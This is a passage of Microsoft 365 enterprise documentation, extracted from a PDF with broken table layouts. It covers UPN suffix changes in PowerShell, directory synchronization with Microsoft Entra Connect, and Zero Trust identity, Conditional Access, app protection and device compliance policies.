2. Select a user, right-click, and then choose Properties.
3. On the Account tab, in the UPN suffix drop-down list, choose the new UPN suffix,
and then choose OK.
4. Complete these steps for every user.
Use PowerShell to change the UPN suffix for all of your

users
If you have numerous user accounts to update, it's easier to use PowerShell. The
following example uses the cmdlets Get-ADUser and Set-ADUser to change all
contoso.local suffixes to contoso.com in AD DS.
For example, you could run the following PowerShell commands to update all
contoso.local suffixes to contoso.com:
PowerShell
$LocalUsers = Get-ADUser -Filter "UserPrincipalName -like '*contoso.local'"

-Properties userPrincipalName -ResultSetSize $null
$LocalUsers | foreach {$newUpn =
$_.UserPrincipalName.Replace("@contoso.local","@contoso.com"); $_ | Set-
ADUser -UserPrincipalName $newUpn}
See Active Directory Windows PowerShell module to learn more about using Windows
PowerShell in AD DS.
Feedback

Set up directory synchronization for
Microsoft 365
Article • 12/18/2023
Microsoft 365 uses a Microsoft Entra tenant to store and manage identities for
authentication and permissions to access cloud-based resources.
If you have an on-premises Active Directory Domain Services (AD DS) domain or forest,
you can synchronize your AD DS user accounts, groups, and contacts with the Microsoft
Entra tenant of your Microsoft 365 subscription. This is hybrid identity for Microsoft 365.
Here are its components.
Microsoft Entra Connect runs on an on-premises server and synchronizes your AD DS

with the Microsoft Entra tenant. Along with directory synchronization, you can also
specify these authentication options:
Microsoft Entra ID performs the authentication itself.
Microsoft Entra ID has AD DS perform the authentication.

Microsoft Entra ID refers the client computer requesting authentication to another

identity provider.
See Hybrid identities for more information.
1. Review prerequisites for Microsoft Entra

Connect
You get a free Microsoft Entra subscription with your Microsoft 365 subscription. When
you set up directory synchronization, you'll install Microsoft Entra Connect on one of
your on-premises servers.
For Microsoft 365 you'll need to:
Verify your on-premises domain. The Microsoft Entra Connect wizard guides you
through this.
Obtain the user names and passwords for the admin accounts of your Microsoft
365 tenant and AD DS.
For your on-premises server on which you install Microsoft Entra Connect, you'll need:
ﾉ Expand table
Server OS Other software
Windows Server 2012 R2 and - PowerShell is installed by default, no action is required.

later - Net 4.5.1 and later releases are offered through Windows
Update. Make sure you've installed the latest updates to
Windows Server in the Control Panel.
Windows Server 2008 R2 with - The latest version of PowerShell is available in Windows
Service Pack 1 (SP1)** or Management Framework 4.0. Search for it on Microsoft
Windows Server 2012 Download Center .
- .NET 4.5.1 and later releases are available on Microsoft
Download Center .
Windows Server 2008 - The latest supported version of PowerShell is available in

Windows Management Framework 3.0, available on Microsoft
Download Center .
- .NET 4.5.1 and later releases are available on Microsoft
Download Center .
See Prerequisites for Microsoft Entra Connect for the details of hardware, software,
account and permissions requirements, SSL certificate requirements, and object limits
for Microsoft Entra Connect.
You can also review the Microsoft Entra Connect version release history to see what is
included and fixed in each release.
2. Install Microsoft Entra Connect and

configure directory synchronization
Before you begin, make sure you have:
The user name and password of a Microsoft 365 global admin

The user name and password of an AD DS domain administrator
Which authentication method (PHS, PTA, federated)
Whether you want to use Microsoft Entra seamless single sign-on (SSO)
Follow these steps:
1. Sign in to the Microsoft 365 admin center (https://admin.microsoft.com ) and

choose Users > Active Users on the left navigation.
2. On the Active users page, choose More (three dots) > Directory synchronization.
3. On the Microsoft Entra preparation page, select the Go to the Download center
to get the Microsoft Entra Connect tool link to get started.
4. Follow the steps in Microsoft Entra Connect and Microsoft Entra Connect Health
installation roadmap.
3. Finish setting up domains

Follow the steps in Create DNS records for Microsoft 365 when you manage your DNS
records to finish setting up your domains.
Next step
Assign licenses to user accounts
Feedback
Was this page helpful?
 Yes  No

configurations
Article • 04/24/2024
Today's workforce requires access to applications and resources that exist beyond
traditional corporate network boundaries. Security architectures that rely on network
firewalls and virtual private networks (VPNs) to isolate and restrict access to resources
are no longer sufficient.
To address this new world of computing, Microsoft highly recommends the Zero Trust
security model, which is based on these guiding principles:
Verify explicitly: Always authenticate and authorize based on all available data
points. This verification is where Zero Trust identity and device access policies are
crucial to sign-in and ongoing validation.
Use least privilege access: Limit user access with Just-In-Time and Just-Enough-
Assume breach: Minimize blast radius and segment access. Verify end-to-end
defenses.
Here's the overall architecture of Zero Trust:
Zero Trust identity and device access policies address the Verify explicitly guiding
principle for:
Identities: When an identity attempts to access a resource, verify that identity with
strong authentication and ensure that requested access is compliant and typical.
Devices (also called endpoints): Monitor and enforce device health and
compliance requirements for secure access.
Applications: Apply controls and technologies to:
Ensure appropriate in-app permissions.
Control access based on real-time analytics.
Monitor for abnormal behavior
Control user actions.
Validate secure configuration options.
This series of articles describe a set of identity and device access configurations and
policies using Microsoft Entra ID, Conditional Access, Microsoft Intune, and other
features. These configurations and policies provide Zero Trust access to Microsoft 365
for enterprise cloud apps and services, other SaaS services, and on-premises
applications that are published with Microsoft Entra application proxy.
Zero Trust identity and device access settings and policies are recommended in three
tiers:
Starting point.
Enterprise.
Specialized security for environments with highly regulated or classified data.
These tiers and their corresponding configurations provide consistent levels of Zero
Trust protection across your data, identities, and devices. These capabilities and their
recommendations:
Are supported in Microsoft 365 E3 and Microsoft 365 E5.

Are aligned with Microsoft Secure Score and identity score in Microsoft Entra ID.
Following the recommendations will increase these scores for your organization.
Help you to implement these five steps to securing your identity infrastructure.
If your organization has unique requirements or complexities, use these

recommendations as a starting point. However, most organizations can implement these
recommendations as prescribed.
Watch this video for a quick overview of identity and device access configurations for
Microsoft 365 for enterprise.
https://www.microsoft.com/en-us/videoplayer/embed/RWxEDQ?postJsllMsg=true
７ Note
Microsoft also sells Enterprise Mobility + Security (EMS) licenses for Office 365
subscriptions. EMS E3 and EMS E5 capabilities are equivalent to those in Microsoft
365 E3 and Microsoft 365 E5. For more information, see EMS plans .
Intended audience
These recommendations are intended for enterprise architects and IT professionals who
are familiar with Microsoft 365 cloud productivity and security services. These services
include Microsoft Entra ID (identity), Microsoft Intune (device management), and
Microsoft Purview Information Protection (data protection).
Customer environment
The recommended policies are applicable to enterprise organizations operating both
entirely within the Microsoft cloud and for customers with hybrid identity infrastructure.
A hybrid identity structure is an on-premises Active Directory forest that's synchronized
with Microsoft Entra ID.
Many of our recommendations rely on services that are available only with the following
licenses:
Microsoft 365 E5.

Microsoft 365 E3 with the E5 Security add-on.
EMS E5.
Microsoft Entra ID P2 licenses.
For organizations who don't have these licenses, we recommend that you at least
implement security defaults, which is included with all Microsoft 365 plans.
Caveats
Your organization might be subject to regulatory or other compliance requirements,
including specific recommendations that require you to apply policies that diverge from
these recommended configurations. These configurations recommend usage controls
that haven't historically been available. We recommend these controls because we
believe they represent a balance between security and productivity.
We've done our best to account for a wide variety of organizational protection
requirements, but we're not able to account for all possible requirements or for all the
unique aspects of your organization.
Three levels of protection
Most organizations have specific requirements regarding security and data protection.
These requirements vary by industry segment and by job functions within organizations.
For example, your legal department and administrators might require additional security
and information protection controls around their email correspondence that aren't
required for other business units.
Each industry also has their own set of specialized regulations. We aren't trying to
provide a list of all possible security options or a recommendation per industry segment
or job function. Instead, we're providing recommendations for three levels of security
and protection that can be applied based on the granularity of your needs.
Starting point: We recommend all customers establish and use a minimum

standard for protecting data, as well as the identities and devices that access your
data. You can follow these recommendations to provide strong default protection
as a starting point for all organizations.
Enterprise: Some customers have a subset of data that must be protected at
higher levels, or all data must be protected at a higher level. You can apply
increased protection to all or specific data sets in your Microsoft 365 environment.
We recommend protecting identities and devices that access sensitive data with
comparable levels of security.
Specialized security: As needed, a few customers have a small amount of data that
is highly classified, constitutes trade secrets, or is regulated. Microsoft provides
capabilities to help these customers meet these requirements, including added
protection for identities and devices.

This guidance shows you how to implement Zero Trust protection for identities and
devices for each of these levels of protection. Use this guidance as a minimum for your
organization and adjust the policies to meet your organization's specific requirements.
It's important to use consistent levels of protection across your identities, devices, and
data. For example, protection for users with priority accounts—such as executives,
leaders, managers, and others—should include the same level of protection for their
identities, their devices, and the data they access.
Additionally, see the Deploy information protection for data privacy regulations solution
to protect information stored in Microsoft 365.
Security and productivity trade-offs

Implementing any security strategy requires trade-offs between security and
productivity. It's helpful to evaluate how each decision affects the balance of security,
functionality, and ease of use.
The recommendations provided are based on the following principles:
Know your users and be flexible to their security and functional requirements.
Apply a security policy just in time and ensure it's meaningful.
Services and concepts for Zero Trust identity

and device access protection
Microsoft 365 for enterprise is designed for large organizations to empower everyone to
be creative and work together securely.
This section provides an overview of the Microsoft 365 services and capabilities that are
important for Zero Trust identity and device access.
Microsoft Entra ID
Microsoft Entra ID provides a full suite of identity management capabilities. We
recommend using these capabilities to secure access.
ﾉ Expand table

feature
Multifactor MFA requires users to provide two forms of verification, Microsoft 365 E3
authentication such as a user password plus a notification from the or E5
(MFA) Microsoft Authenticator app or a phone call. MFA greatly
reduces the risk that stolen credentials can be used to
access your environment. Microsoft 365 uses the Microsoft
Entra multifactor authentication service for MFA-based
sign-ins.
Conditional Microsoft Entra ID evaluates the conditions of the user Microsoft 365 E3
Access sign-in and uses Conditional Access policies to determine or E5
the allowed access. For example, in this guidance we show
you how to create a Conditional Access policy to require
device compliance for access to sensitive data. This greatly
reduces the risk that a hacker with their own device and
stolen credentials can access your sensitive data. It also
protects sensitive data on the devices, because the devices
must meet specific requirements for health and security.
Microsoft Entra Conditional Access policies, device management with Microsoft 365 E3
groups Intune, and even permissions to files and sites in your or E5
organization rely on the assignment to user accounts or
Microsoft Entra groups. We recommend you create
Microsoft Entra groups that correspond to the levels of
protection you are implementing. For example, your
executive staff are likely higher value targets for hackers.
Therefore, it makes sense to add the user accounts of these
employees to a Microsoft Entra group and assign this
group to Conditional Access policies and other policies that
enforce a higher level of protection for access.
Device You enroll a device into Microsoft Entra ID to create an Microsoft 365 E3
enrollment identity for the device. This identity is used to authenticate or E5
the device when a user signs in and to apply Conditional
Access policies that require domain-joined or compliant
PCs. For this guidance, we use device enrollment to
automatically enroll domain-joined Windows computers.
Device enrollment is a prerequisite for managing devices
with Intune.
feature
Microsoft Entra Enables you to detect potential vulnerabilities affecting Microsoft 365
ID Protection your organization's identities and configure automated E5, Microsoft
remediation policy to low, medium, and high sign-in risk 365 E3 with the
and user risk. This guidance relies on this risk evaluation to E5 Security add-
apply Conditional Access policies for multifactor on, EMS E5, or
authentication. This guidance also includes a Conditional Microsoft Entra
Access policy that requires users to change their password ID P2 licenses
if high-risk activity is detected for their account.
Self-service Allow your users to reset their passwords securely and Microsoft 365 E3
password reset without help-desk intervention, by providing verification of or E5
(SSPR) multiple authentication methods that the administrator can
control.
Microsoft Entra Detect and block known weak passwords and their variants Microsoft 365 E3
password and additional weak terms that are specific to your or E5
protection organization. Default global banned password lists are
automatically applied to all users in a Microsoft Entra
tenant. You can define additional entries in a custom
banned password list. When users change or reset their
passwords, these banned password lists are checked to
enforce the use of strong passwords.
Here are the components of Zero Trust identity and device access, including Intune and
Microsoft Entra objects, settings, and subservices.

Microsoft Intune
Intune is Microsoft's cloud-based mobile device management service. This guidance
recommends device management of Windows PCs with Intune and recommends device
compliance policy configurations. Intune determines whether devices are compliant and
sends this data to Microsoft Entra ID to use when applying Conditional Access policies.
Intune app protection
Intune app protection policies can be used to protect your organization's data in mobile
apps, with or without enrolling devices into management. Intune helps protect
information, making sure your employees can still be productive, and preventing data
loss. By implementing app-level policies, you can restrict access to company resources
and keep data within the control of your IT department.
This guidance shows you how to create recommended policies to enforce the use of
approved apps and to determine how these apps can be used with your business data.
Microsoft 365
This guidance shows you how to implement a set of policies to protect access to
Microsoft 365 cloud services, including Microsoft Teams, Exchange, SharePoint, and
OneDrive. In addition to implementing these policies, we recommend you also raise the
level of protection for your tenant using these resources:
Configure your tenant for increased security
Windows 11 or Windows 10 with Microsoft 365 Apps for

enterprise
Windows 11 or Windows 10 with Microsoft 365 Apps for enterprise is the recommended
client environment for PCs. We recommend Windows 11 or Windows 10 because
Microsoft Entra is designed to provide the smoothest experience possible for both on-
premises and Microsoft Entra ID. Windows 11 or Windows 10 also includes advanced
security capabilities that can be managed through Intune. Microsoft 365 Apps for
enterprise includes the latest versions of Office applications. These use modern
authentication, which is more secure and a requirement for Conditional Access. These
apps also include enhanced compliance and security tools.
Applying these capabilities across the three
levels of protection
The following table summarizes our recommendations for using these capabilities
across the three levels of protection.
ﾉ Expand table
Protection Starting point Enterprise Specialized

mechanism security
Enforce MFA On medium or above sign-in On low or above On all new

risk sign-in risk sessions
Enforce password For high-risk users For high-risk For high-risk users
change users
Enforce Intune Yes Yes Yes

application protection
Enforce Intune Require a compliant or Require a Require a

enrollment for domain-joined PC, but allow compliant or compliant or
organization-owned bring-your-own devices domain-joined domain-joined
device (BYOD) phones and tablets device device
Device ownership
The above table reflects the trend for many organizations to support a mix of
organization-owned devices, and personal or BYODs to enable mobile productivity
across the workforce. Intune app protection policies ensure that email is protected from
exfiltrating out of the Outlook mobile app and other Office mobile apps, on both
organization-owned devices and BYODs.
We recommend that organization-owned devices are managed by Intune or domain-

joined to apply additional protections and control. Depending on data sensitivity, your
organization might choose to not allow BYODs for specific user populations or specific
apps.
Deployment and your apps

Prior to configuring and rolling out Zero Trust identity and device access configuration
for your Microsoft Entra integrated apps, you must:
Decide which apps used in your organization you want to protect.
Analyze this list of apps to determine the sets of policies that provide appropriate
levels of protection.
You shouldn't create separate sets of policies each for app because management
of them can become cumbersome. Microsoft recommends that you group your
apps that have the same protection requirements for the same users.
For example, have one set of policies that include all Microsoft 365 apps for all
users for starting point protection. Have a second set of policies for all sensitive
apps, such as those used by human resources or finance departments, and apply
them to those groups.
Once you have determined the set of policies for the apps you want to secure, roll the
policies out to users incrementally, addressing issues along the way. For example:
1. Configure the policies that you intend to use for all Microsoft 365 apps.
2. Add just Exchange with its required changes, roll out the policies to users, and
work through any issues.
3. Add Teams with its required changes, roll out the policies to users, and work
through any issues.
4. Add SharePoint with its required changes, roll out the policies to users, and work
through any issues.
5. Continue adding the rest of your apps until you can confidently configure these
starting point policies to include all Microsoft 365 apps.
Similarly, for your sensitive apps, create the set of policies and add one app at a time.
Work through any issues until they're all included in the sensitive app policy set.
Microsoft recommends that you don't create policy sets that apply to all apps because it
can result in some unintended configurations. For example, policies that block all apps
could lock your admins out of the Microsoft Entra admin center and exclusions can't be
configured for important endpoints such as Microsoft Graph.
Steps to configure Zero Trust identity and

device access

1. Configure prerequisite identity features and their settings.
2. Configure the common identity and access Conditional Access policies.
3. Configure Conditional Access policies for guest and external users.
4. Configure Conditional Access policies for Microsoft 365 cloud apps—such as
Microsoft Teams, Exchange, and SharePoint—and Microsoft Defender for Cloud
Apps policies.
After you have configured Zero Trust identity and device access, see the Microsoft Entra
feature deployment guide for a phased checklist of additional features to consider and
Microsoft Entra ID Governance to protect, monitor, and audit access.
Next step
Prerequisite work for implementing Zero Trust identity and device access policies
Feedback

Prerequisite work for implementing
policies
Article • 04/29/2024
This article describes the prerequisites admins must meet to use recommended Zero
Trust identity and device access policies, and to use Conditional Access. It also discusses
the recommended defaults for configuring client platforms for the best single sign-on
(SSO) experience.
Prerequisites
Before using the Zero Trust identity and device access policies that are recommended,
your organization needs to meet prerequisites. The requirements are different for the
various identity and authentication models listed:
Cloud-only
Hybrid with password hash sync (PHS) authentication
Hybrid with pass-through authentication (PTA)
Federated
The following table details the prerequisite features and their configuration that apply to
all identity models, except where noted.
ﾉ Expand table
Configuration Exceptions Licensing
Configure PHS. This feature must be enabled to detect leaked Cloud-only Microsoft 365
credentials and to act on them for risk-based Conditional Access. E3 or E5
Note: This is required regardless of whether your organization
uses federated authentication.
Enable seamless single sign-on to automatically sign users in Cloud-only Microsoft 365
when they are on their organization devices connected to your and E3 or E5
organization network. federated
Configure named locations. Microsoft Entra ID Protection Microsoft 365

collects and analyzes all available session data to generate a risk E3 or E5
score. We recommend you specify your organization's public IP
ranges for your network in the Microsoft Entra ID named
locations configuration. Traffic coming from these ranges is given
a reduced risk score, and traffic from outside the organization

environment is given a higher risk score.
Register all users for self-service password reset (SSPR) and Microsoft 365
multifactor authentication (MFA). We recommend you register E3 or E5
users for Microsoft Entra multifactor authentication ahead of
time. Microsoft Entra ID Protection makes use of Microsoft Entra
multifactor authentication to perform additional security
verification. Additionally, for the best sign-in experience, we
recommend users install the Microsoft Authenticator app and
the Microsoft Company Portal app on their devices. These can be
installed from the app store for each platform.
Plan your Microsoft Entra hybrid join implementation. Cloud-only Microsoft 365
Conditional Access will make sure devices connecting to apps E3 or E5
are domain-joined or compliant. To support this on Windows
computers, the device must be registered with Microsoft Entra
ID. This article discusses how to configure automatic device
registration.
Prepare your support team. Have a plan in place for users that Microsoft 365
cannot complete MFA. This could be adding them to a policy E3 or E5
exclusion group, or registering new MFA information for them.
Before making either of these security-sensitive changes, you
need to ensure that the actual user is making the request.
Requiring users' managers to help with the approval is an
effective step.
Configure password writeback to on-premises AD. Password Cloud-only Microsoft 365

writeback allows Microsoft Entra ID to require that users change E3 or E5
their on-premises passwords when a high-risk account
compromise is detected. You can enable this feature using
Microsoft Entra Connect in one of two ways: either enable
Password Writeback in the optional features screen of Microsoft
Entra Connect setup, or enable it via Windows PowerShell.
Configure Microsoft Entra password protection. Microsoft Entra Microsoft 365

Password Protection detects and blocks known weak passwords E3 or E5
and their variants, and can also block additional weak terms that
are specific to your organization. Default global banned
password lists are automatically applied to all users in a
Microsoft Entra tenant. You can define additional entries in a
custom banned password list. When users change or reset their
passwords, these banned password lists are checked to enforce
the use of strong passwords.
Enable Microsoft Entra ID Protection. Microsoft Entra ID Microsoft 365

Protection enables you to detect potential vulnerabilities E5 or
affecting your organization's identities and configure an Microsoft 365
automated remediation policy to low, medium, and high sign-in E3 with the E5
risk and user risk. Security add-
on
Enable modern authentication for Exchange Online and for Microsoft 365
Skype for Business Online . Modern authentication is a E3 or E5
prerequisite for using MFA. Modern authentication is enabled by
default for Office 2016 and 2019 clients, SharePoint, and
OneDrive for Business.
Enable continuous access evaluation for Microsoft Entra ID. Microsoft 365
Continuous access evaluation proactively terminates active user E3 or E5
sessions and enforces tenant policy changes in near real-time.
Recommended client configurations

This section describes the default platform client configurations that we recommend to
provide the best SSO experience to your users, as well as the technical prerequisites for
Conditional Access.
Windows devices
We recommend Windows 11 or Windows 10 (version 2004 or later), as Azure is
designed to provide the smoothest SSO experience possible for both on-premises and
Microsoft Entra ID. Work or school-issued devices should be configured to join
Microsoft Entra ID directly or if the organization uses on-premises AD domain join,
those devices should be configured to automatically and silently register with Microsoft
Entra ID.
For BYOD Windows devices, users can use Add work or school account. Note that users
of the Google Chrome browser on Windows 11 or Windows 10 devices need to install
an extension to get the same smooth sign-in experience as Microsoft Edge users.
Also, if your organization has domain-joined Windows 8 or 8.1 devices, you can install
Microsoft Workplace Join for non-Windows 10 computers. Download the package to
register the devices with Microsoft Entra ID.
iOS devices
We recommend installing the Microsoft Authenticator app on user devices before
deploying Conditional Access or MFA policies. At a minimum, the app should be
installed when users are asked to register their device with Microsoft Entra ID by adding
a work or school account, or when they install the Intune company portal app to enroll
their device into management. This depends on the configured Conditional Access
policy.
Android devices
We recommend users install the Intune Company Portal app and Microsoft
Authenticator app before Conditional Access policies are deployed or when required
during certain authentication attempts. After app installation, users may be asked to
register with Microsoft Entra ID or enroll their device with Intune. This depends on the
configured Conditional Access policy.
We also recommend that organization-owned devices are standardized on OEMs and

versions that support Android for Work or Samsung Knox to allow mail accounts, be
managed and protected by Intune MDM policy.
Recommended email clients

The following email clients support modern authentication and Conditional Access.
ﾉ Expand table
Platform Client Version/Notes
Windows Outlook 2019, 2016

Required updates
iOS Outlook for iOS Latest
Android Outlook for Android Latest
macOS Outlook 2019 and 2016
Linux Not supported
Recommended client platforms when securing

documents
The following clients are recommended when a secure documents policy has been
applied.
ﾉ Expand table
Platform Word/Excel/PowerPoint OneNote OneDrive SharePoint OneDrive
App App sync client
Windows 11 Supported Supported N/A N/A Supported

or Windows
10
Windows Supported Supported N/A N/A Supported

8.1
Android Supported Supported Supported Supported N/A
iOS Supported Supported Supported Supported N/A
macOS Supported Supported N/A N/A Not

supported
Linux Not supported Not Not Not Not

supported supported supported supported
Microsoft 365 client support

For more information about client support in Microsoft 365, see the following articles:
Microsoft 365 Client App Support - Conditional Access

Microsoft 365 Client App Support - multifactor authentication
Protecting administrator accounts

For Microsoft 365 E3 or E5 or with separate Microsoft Entra ID P1 or P2 licenses, you can
require MFA for administrator accounts with a manually created Conditional Access
policy. See Conditional Access: Require MFA for administrators for the details.
For editions of Microsoft 365 or Office 365 that do not support Conditional Access, you
can enable security defaults to require MFA for all accounts.
Here are some additional recommendations:
Use Microsoft Entra Privileged Identity Management to reduce the number of

persistent administrative accounts.
Use privileged access management to protect your organization from breaches
that may use existing privileged admin accounts with standing access to sensitive
data or access to critical configuration settings.
Create and use separate accounts that are assigned Microsoft 365 administrator
roles only for administration. Admins should have their own user account for
regular non-administrative use and only use an administrative account when
necessary to complete a task associated with their role or job function.
Follow best practices for securing privileged accounts in Microsoft Entra ID.
Next step
Configure the common Zero Trust identity and device access policies
Feedback

Common security policies for Microsoft
365 organizations
Article • 04/29/2024
Organizations have lots to worry about when deploying Microsoft 365 for their
organization. The Conditional Access, app protection, and device compliance policies
referenced in this article are based on Microsoft's recommendations and the three
guiding principles of Zero Trust:
Verify explicitly
Use least privilege
Assume breach
Organizations can take these policies as is or customize them to fit their needs. If
possible, test your policies in a non-production environment before rolling out to your
production users. Testing is critical to identify and communicate any possible effects to
your users.
We group these policies into three protection levels based on where you are on your
deployment journey:
Starting point - Basic controls that introduce multifactor authentication, secure

password changes, and app protection policies.
Enterprise - Enhanced controls that introduce device compliance.
Specialized security - Policies that require multifactor authentication every time for
specific data sets or users.
The following diagram shows which level of protections each policy applies to and
whether the policies apply to PCs or phones and tablets, or both categories of devices.


to change their
Clients that do not

Enterprise
tablets.
Require MFA always

Specialized
users)

You can download this diagram as a PDF file.
 Tip
Requiring the use of multifactor authentication (MFA) is recommended before

enrolling devices in Intune to assure that the device is in the possession of the
intended user. You must enroll devices in Intune before you can enforce device
compliance policies.
Prerequisites
Permissions
Users who will manage Conditional Access policies must be able to sign in to the
Azure portal as a Conditional Access Administrator, Security Administrator, or
Global Administrator.
Users who will manage app protection and device compliance policies must be
able to sign in to Intune as an Intune Administrator or Global Administrator.
Those users who only need to view configurations can be assigned the Security
Reader or Global Reader roles.
For more information about roles and permissions, see the article Microsoft Entra built-
in roles.
User registration
Ensure your users register for multifactor authentication prior to requiring its use. If you
have licenses that include Microsoft Entra ID P2, you can use the MFA registration policy
within Microsoft Entra ID Protection to require that users register. We provide
communication templates , you can download and customize, to promote registration.
Groups
All Microsoft Entra groups used as part of these recommendations must be created as a
Microsoft 365 group not a Security group. This requirement is important for the
deployment of sensitivity labels when securing documents in Microsoft Teams and
SharePoint later on. For more information, see the article Learn about groups and access
rights in Microsoft Entra ID
Assigning policies
Conditional Access policies may be assigned to users, groups, and administrator roles.
Intune app protection and device compliance policies may be assigned to groups only.
Before you configure your policies, you should identify who should be included and
excluded. Typically, starting point protection level policies apply to everybody in the
organization.
Here's an example of group assignment and exclusions for requiring MFA after your
users have completed user registration.
ﾉ Expand table
Microsoft Entra Conditional Include Exclude

Access policy
Starting point Require multifactor All users Emergency access

authentication for medium or accounts
high sign-in risk Conditional Access
exclusion group
Enterprise Require multifactor Executive staff Emergency access

authentication for low, medium, group accounts
or high sign-in risk Conditional Access
exclusion group
Specialized Require multifactor Top Secret Emergency access

security authentication always Project Buckeye accounts
Microsoft Entra Conditional Include Exclude
Access policy
group Conditional Access

exclusion group
Be careful when applying higher levels of protection to groups and users. The goal of
security isn't to add unnecessary friction to the user experience. For example, members
of the Top Secret Project Buckeye group will be required to use MFA every time they sign
in, even if they aren't working on the specialized security content for their project.
Excessive security friction can lead to fatigue.
You may consider enabling passwordless authentication methods, like Windows Hello
for Business or FIDO2 security keys to reduce some friction created by certain security
controls.
Emergency access accounts

All organizations should have at least one emergency access account that is monitored
for use and excluded from policies. These accounts are only used in case all other
administrator accounts and authentication methods become locked out or otherwise
unavailable. More information can be found in the article, Manage emergency access
accounts in Microsoft Entra ID.
Exclusions
A recommended practice is to create a Microsoft Entra group for Conditional Access
exclusions. This group gives you a means to provide access to a user while you
troubleshoot access issues.
２ Warning
This group is recommended for use as a temporary solution only. Continuously

monitor and audit this group for changes and be sure the exclusion group is being
used only as intended.
To add this exclusion group to any existing policies:
1. Sign in to the Azure portal as a Conditional Access Administrator, Security

Administrator, or Global Administrator.
2. Browse to Microsoft Entra ID > Security > Conditional Access.
3. Select an existing policy.
4. Under Assignments, select Users or workload identities.
a. Under Exclude, select Users and groups and choose your organization's
emergency access or break-glass accounts and Conditional Access exclusion
group.
Deployment
We recommend implementing the starting point policies in the order listed in this table.
However, the MFA policies for enterprise and specialized security levels of protection
can be implemented at any time.
Starting point
ﾉ Expand table
Policy More information Licensing
Require MFA when sign- Use risk data from Microsoft Entra ID Microsoft 365 E5 or
in risk is medium or high Protection to require MFA only when risk Microsoft 365 E3 with
is detected the E5 Security add-on
Block clients that don't Clients that don't use modern Microsoft 365 E3 or E5
support modern authentication can bypass Conditional
authentication Access policies, so it's important to block
them.
High risk users must Forces users to change their password Microsoft 365 E5 or
change password when signing in if high-risk activity is Microsoft 365 E3 with
detected for their account. the E5 Security add-on
Apply application One Intune app protection policy per Microsoft 365 E3 or E5
protection policies for platform (Windows, iOS/iPadOS, Android).
data protection
Require approved apps Enforces mobile app protection policies Microsoft 365 E3 or E5
and app protection for phones and tablets using iOS, iPadOS,
policies or Android.
Enterprise
ﾉ Expand table
Require MFA when sign- Use risk data from Microsoft Entra ID Microsoft 365 E5 or
in risk is low, medium, or Protection to require MFA only when Microsoft 365 E3 with the
high risk is detected E5 Security add-on
Define device Set minimum configuration Microsoft 365 E3 or E5

compliance policies requirements. One policy for each
platform.
Require compliant PCs Enforces the configuration Microsoft 365 E3 or E5

and mobile devices requirements for devices accessing
your organization
Specialized security
ﾉ Expand table
Always require Users must perform MFA anytime they sign in to your Microsoft 365 E3
MFA organizations services or E5
App protection policies

App protection policies define which apps are allowed and the actions they can take
with your organization's data. There are many choices available and it may be confusing
to some. The following baselines are Microsoft's recommended configurations that may
be tailored to your needs. We provide three templates to follow, but think most
organizations will choose levels 2 and 3.
Level 2 maps to what we consider starting point or enterprise level security, level 3 maps
to specialized security.
Level 1 enterprise basic data protection – Microsoft recommends this configuration

as the minimum data protection configuration for an enterprise device.
Level 2 enterprise enhanced data protection – Microsoft recommends this

configuration for devices where users access sensitive or confidential information.
This configuration is applicable to most mobile users accessing work or school
data. Some of the controls may affect user experience.
Level 3 enterprise high data protection – Microsoft recommends this

configuration for devices run by an organization with a larger or more
sophisticated security team, or for specific users or groups who are at uniquely
high risk (users who handle highly sensitive data where unauthorized disclosure
causes considerable material loss to the organization). An organization likely to be
targeted by well-funded and sophisticated adversaries should aspire to this
configuration.
Create app protection policies

Create a new app protection policy for each platform (iOS and Android) within Microsoft
Intune using the data protection framework settings by:
Manually create the policies by following the steps in How to create and deploy
app protection policies with Microsoft Intune.
Import the sample Intune App Protection Policy Configuration Framework JSON
templates with Intune's PowerShell scripts .
Device compliance policies

Intune device compliance policies define the requirements that devices must meet to be
determined as compliant.
You must create a policy for each PC, phone, or tablet platform. This article will cover
recommendations for the following platforms:
Android
iOS/iPadOS
Windows 10 and later
Create device compliance policies

To create device compliance policies, sign in to the Microsoft Intune admin center ,
and navigate to Devices > Compliance policies > Policies. Select Create Policy.
For step-by-step guidance on creating compliance policies in Intune, see Create a

compliance policy in Microsoft Intune.
Enrollment and compliance settings for iOS/iPadOS
iOS/iPadOS supports several enrollment scenarios, two of which are covered as part of
this framework:
Device enrollment for personally owned devices – these devices are personally
owned and used for both work and personal use.
Automated device enrollment for corporate-owned devices – these devices are
corporate-owned, associated with a single user, and used exclusively for work and
not personal use.
Using the principles outlined in Zero Trust identity and device access configurations:
The starting point and enterprise protection levels map closely with the level 2
enhanced security settings.
The specialized security protection level maps closely to the level 3 high security
settings.
Compliance settings for personally enrolled devices
Personal basic security (Level 1) – Microsoft recommends this configuration as the

minimum security configuration for personal devices where users access work or
school data. This configuration is done by enforcing password policies, device lock
characteristics, and disabling certain device functions, like untrusted certificates.
Personal enhanced security (Level 2) – Microsoft recommends this configuration
for devices where users access sensitive or confidential information. This
configuration enacts data sharing controls. This configuration is applicable to most
mobile users accessing work or school data on a device.
Personal high security (Level 3) – Microsoft recommends this configuration for
devices used by specific users or groups who are uniquely high risk (users who
handle highly sensitive data where unauthorized disclosure causes considerable
material loss to the organization). This configuration enacts stronger password
policies, disables certain device functions, and enforces extra data transfer
restrictions.
Compliance settings for automated device enrollment
Supervised basic security (Level 1) – Microsoft recommends this configuration as

the minimum security configuration for supervised devices where users access
work or school data. This configuration is done by enforcing password policies,
device lock characteristics, and disabling certain device functions, like untrusted
certificates.
Supervised enhanced security (Level 2) – Microsoft recommends this
This configuration enacts data sharing controls and blocks access to USB devices.
This configuration is applicable to most mobile users accessing work or school
data on a device.
Supervised high security (Level 3) – Microsoft recommends this configuration for
devices used by specific users or groups who are uniquely high risk (users who
material loss to the organization). This configuration enacts stronger password
policies, disables certain device functions, enforces extra data transfer restrictions,
and requires apps to be installed through Apple's volume purchase program.
Enrollment and compliance settings for Android

Android Enterprise supports several enrollment scenarios, two of which are covered as
part of this framework:
Android Enterprise work profile – this enrollment model is typically used for
personally owned devices, where IT wants to provide a clear separation boundary
between work and personal data. Policies controlled by IT ensure that the work
data can't be transferred into the personal profile.
Android Enterprise fully managed devices – these devices are corporate-owned,
associated with a single user, and used exclusively for work and not personal use.
The Android Enterprise security configuration framework is organized into several

distinct configuration scenarios, providing guidance for work profile and fully managed
scenarios.
Using the principles outlined in Zero Trust identity and device access configurations:
The starting point and enterprise protection levels map closely with the level 2
enhanced security settings.
The specialized security protection level maps closely to the level 3 high security
settings.
Compliance settings for Android Enterprise work profile devices
Because of the settings available for personally owned work profile devices, there's
no basic security (level 1) offering. The available settings don't justify a difference
between level 1 and level 2.
